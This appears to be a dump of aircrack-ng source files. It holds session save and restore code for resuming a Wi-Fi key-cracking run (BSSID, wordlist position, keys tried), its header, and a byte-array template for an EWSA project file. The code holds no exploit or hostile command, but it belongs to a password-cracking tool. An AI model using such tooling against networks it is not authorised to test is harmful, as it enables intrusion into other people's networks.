if (session == NULL || str == NULL || str[0] == 0 || chdir(str) == -1)
{
return (EXIT_FAILURE);
}
session->working_dir = strdup(str);
return ((session->working_dir) ? EXIT_SUCCESS : EXIT_FAILURE);
}
int ac_session_set_bssid(struct session * session, const char * str)
{
if (session == NULL || str == NULL || strlen(str) != 17)
{
return (EXIT_FAILURE);
}
// Parse BSSID
unsigned int bssid[6] = {0};
int count = sscanf(str,
"%02X:%02X:%02X:%02X:%02X:%02X",
&bssid[0],
&bssid[1],
&bssid[2],
&bssid[3],
&bssid[4],
&bssid[5]);
// Verify all parsed correctly
if (count < 6)
{
return (EXIT_FAILURE);
}
// Copy it back to the structure
for (int i = 0; i < 6; ++i)
{
session->bssid[i] = (uint8_t) bssid[i];
}
return (EXIT_SUCCESS);
}
int ac_session_set_wordlist_settings(struct session * session, const char * str)
{
if (session == NULL || str == NULL)
{
return (EXIT_FAILURE);
}
int nb_input_scanned = sscanf(str,
"%hhu %" PRId64 " %lld",
&(session->wordlist_id),
&(session->pos),
&(session->nb_keys_tried));
if (nb_input_scanned != 3 || session->pos < 0 || session->nb_keys_tried < 0)
{
return (EXIT_FAILURE);
}
return (EXIT_SUCCESS);
}
#define SESSION_MIN_NBARG 4
int ac_session_set_amount_arguments(struct session * session, const char * str)
{
if (session == NULL || str == NULL)
{
return (EXIT_FAILURE);
}
// Parse amount of arguments
int nb_input_scanned = sscanf(str, "%d", &(session->argc));
if (nb_input_scanned != 1 || session->argc < SESSION_MIN_NBARG
|| session->argc > sysconf(_SC_ARG_MAX))
{
// There should be at least 4 arguments:
// - Executable path (argv[0])
// - -w
// - Wordlist
// - capture file
return (EXIT_FAILURE);
}
// Allocate memory for all the arguments
session->argv = (char **) calloc(session->argc, sizeof(char *));
ALLEGE(session->argv != NULL);
return (EXIT_SUCCESS);
}
static char * ac_session_getline(FILE * f)
{
if (f == NULL)
{
return (NULL);
}
char * ret = NULL;
size_t n = 0;
ssize_t line_len = getline(&ret, &n, f);
if (line_len == -1)
{
return (NULL);
}
return (ret);
}
/*
* MT-Unsafe: Caller must not permit multiple threads to call
* the function with the same filename.
*
* File format:
* Line 1: Working directory
* Line 2: BSSID
* Line 3: Wordlist ID followed by a space then
* position in file followed by a space then
* amount of keys tried
* Line 4: Amount of arguments (indicates how many lines will follow this one)
*
* Notes:
* - Any line starting with # is ignored
* - First 4 lines CANNOT be empty
* - Lines are trimmed of any possible \r and \n at the end
*/
#define SESSION_ARGUMENTS_LINE 4
#define AC_SESSION_CWD_LINE 0
#define AC_SESSION_BSSID_LINE 1
#define AC_SESSION_WL_SETTINGS_LINE 2
#define AC_SESSION_ARGC_LINE 3
struct session * ac_session_load(const char * filename)
{
int temp;
// Check if file exists
if (filename == NULL || filename[0] == 0)
{
return (NULL);
}
FILE * f = fopen(filename, "r");
if (f == NULL)
{
return (NULL);
}
// Check size isn't 0
if (fseeko(f, 0, SEEK_END))
{
fclose(f);
return (NULL);
}
uint64_t fsize = ftello(f);
if (fsize == 0)
{
fclose(f);
return (NULL);
}
rewind(f);
// Prepare structure
struct session * ret = ac_session_new();
if (ret == NULL)
{
fclose(f);
return (NULL);
}
// Initialize
ac_session_init(ret);
ret->is_loaded = 1;
ret->filename = strdup(filename);
ALLEGE(ret->filename != NULL);
char * line;
int line_nr = 0;
int arg_nr = -1;
while (arg_nr != ret->argc)
{
line = ac_session_getline(f);
// Basic checks and trimming
if (line == NULL) break;
if (line[0] == '#') continue;
rtrim(line);
// Check the parameters
switch (line_nr)
{
case AC_SESSION_CWD_LINE: // Working directory
{
temp = ac_session_set_working_directory(ret, line);
break;
}
case AC_SESSION_BSSID_LINE: // BSSID
{
temp = ac_session_set_bssid(ret, line);
break;
}
case AC_SESSION_WL_SETTINGS_LINE: // Wordlist ID, position in
// wordlist and amount of keys
// tried
{
temp = ac_session_set_wordlist_settings(ret, line);
break;
}
case AC_SESSION_ARGC_LINE: // Number of arguments
{
temp = ac_session_set_amount_arguments(ret, line);
break;
}
default: // All the arguments
{
ret->argv[arg_nr] = line;
temp = EXIT_SUCCESS;
break;
}
}
// Cleanup
if (line_nr < SESSION_ARGUMENTS_LINE)
{
free(line);
}
// Check for success/failure
if (temp == EXIT_FAILURE)
{
fclose(f);
ac_session_free(&ret);
return (NULL);
}
++line_nr;
arg_nr = line_nr - SESSION_ARGUMENTS_LINE;
}
fclose(f);
if (line_nr < SESSION_ARGUMENTS_LINE + 1)
{
ac_session_free(&ret);
return (NULL);
}
ENSURE(arg_nr == ret->argc);
return (ret);
}
// Two arguments will be ignored: Session creation parameter and its argument
#define AMOUNT_ARGUMENTS_IGNORE 2
struct session *
ac_session_from_argv(const int argc, char ** argv, const char * filename)
{
if (filename == NULL || filename[0] == 0 || argc <= 3 || argv == NULL)
{
// If it only has this parameter, then there is something wrong
return (NULL);
}
// Check if the file exists and create it if it doesn't
int fd = -1;
if ((fd = open(filename, O_WRONLY | O_CREAT | O_EXCL, 0666)) >= 0)
{
// Just create an empty file for now
close(fd);
}
else
{
// Not overwriting
fprintf(stderr, "Session file already exists: %s\n", filename);
return (NULL);
}
// Initialize structure
struct session * ret = ac_session_new();
if (ret == NULL)
{
return (NULL);
}
ac_session_init(ret);
// Get working directory and copy filename
ret->working_dir = get_current_working_directory();
// Copy filename
ret->filename = strdup(filename);
ALLEGE(ret->filename != NULL);
// Copy argc and argv, except the 2 specifying session filename location
ret->argv
= (char **) calloc(argc - AMOUNT_ARGUMENTS_IGNORE, sizeof(char *));
ALLEGE(ret->argv != NULL);
// Check values are properly set
if (ret->working_dir == NULL)
{
ac_session_free(&ret);
return (NULL);
}
// Copy all the arguments
for (int i = 0; i < argc; ++i)
{
if (strcmp(argv[i], filename) == 0)
{
// Found the session filename, now remove the previously copied
// argument
ret->argc--;
free(ret->argv[ret->argc]);
ret->argv[ret->argc] = NULL;
continue;
}
// Copy argument
ret->argv[ret->argc] = strdup(argv[i]);
if (ret->argv[ret->argc] == NULL)
{
ac_session_free(&ret);
return (NULL);
}
// Increment count
ret->argc++;
}
return (ret);
}
int ac_session_save(struct session * s,
uint64_t pos,
long long int nb_keys_tried)
{
if (s == NULL || s->filename == NULL || s->working_dir == NULL
|| s->argc == 0 || s->argv == NULL)
{
return (-1);
}
// Update amount of keys tried in structure
s->nb_keys_tried = nb_keys_tried;
// Open file for writing
ALLEGE(pthread_mutex_lock(&(s->mutex)) == 0);
FILE * f = fopen(s->filename, "w");
if (f == NULL)
{
ALLEGE(pthread_mutex_unlock(&(s->mutex)) == 0);
return (-1);
}
// Update position in wordlist
s->pos = pos;
// Write it
fprintf(f, "%s\n", s->working_dir);
fprintf(f,
"%02X:%02X:%02X:%02X:%02X:%02X\n",
s->bssid[0],
s->bssid[1],
s->bssid[2],
s->bssid[3],
s->bssid[4],
s->bssid[5]);
fprintf(
f, "%d %" PRId64 " %lld\n", s->wordlist_id, s->pos, s->nb_keys_tried);
fprintf(f, "%d\n", s->argc);
for (int i = 0; i < s->argc; ++i)
{
fprintf(f, "%s\n", s->argv[i]);
}
fclose(f);
ALLEGE(pthread_mutex_unlock(&(s->mutex)) == 0);
return (0);
} |
C/C++ | aircrack-ng/src/aircrack-ng/session.h | /*
* Aircrack-ng session (load/restore).
*
* Copyright (C) 2018-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifndef _AIRCRACK_NG_SESSION_H
#define _AIRCRACK_NG_SESSION_H
#include <inttypes.h>
#include <pthread.h>
struct session
{
char * filename; // Session filename
// Session file content
char * working_dir; // Line 1: Current working directory
unsigned char bssid[6]; // Line 2: BSSID
unsigned char wordlist_id; // Line 3: Wordlist # (there can be multiple
// wordlist loaded using -w
int64_t pos; // Line 3: Position in the wordlist ID.
long long int
nb_keys_tried; // Line 3: Amount of keys already tried, purely for stats
int argc; // Line 4: amount of arguments
char ** argv; // Line 5 and further: Arguments (1 per line)
pthread_mutex_t
mutex; // Locking for when updating wordlist settings and saving file
unsigned char is_loaded;
// Set to 1 when session is loaded
};
struct session * ac_session_new(void);
int ac_session_destroy(struct session * s);
void ac_session_free(struct session ** s);
int ac_session_init(struct session * s);
// Validate and set the different values in the session structure
int ac_session_set_working_directory(struct session * session,
const char * str);
int ac_session_set_bssid(struct session * session, const char * str);
int ac_session_set_wordlist_settings(struct session * session,
const char * str);
int ac_session_set_amount_arguments(struct session * session, const char * str);
// Load from file
struct session * ac_session_load(const char * filename);
// Save to file
int ac_session_save(struct session * s,
uint64_t pos,
long long int nb_keys_tried);
struct session *
ac_session_from_argv(const int argc, char ** argv, const char * filename);
#endif // _AIRCRACK_NG_SESSION_H |
C/C++ | aircrack-ng/src/aircrack-ng/wkp-frame.h | /*
* Elcomsoft Wireless Security Auditor (EWSA) Project File's Frame (3.02)
*
* Copyright (C) 2010 ZhaoChunsheng
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#define WKP_FRAME_LENGTH 2622
unsigned char wkp_frame[WKP_FRAME_LENGTH]
= {0x43, 0x50, 0x57, 0x45, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x80, 0x06, 0x00, 0x00, 0x80, 0x06, 0x00, 0x00,
0xc2, 0xe6, 0x8f, 0x1a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x00,
0x6e, 0x00, 0x67, 0x00, 0x6c, 0x00, 0x69, 0x00, 0x73, 0x00, 0x68, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
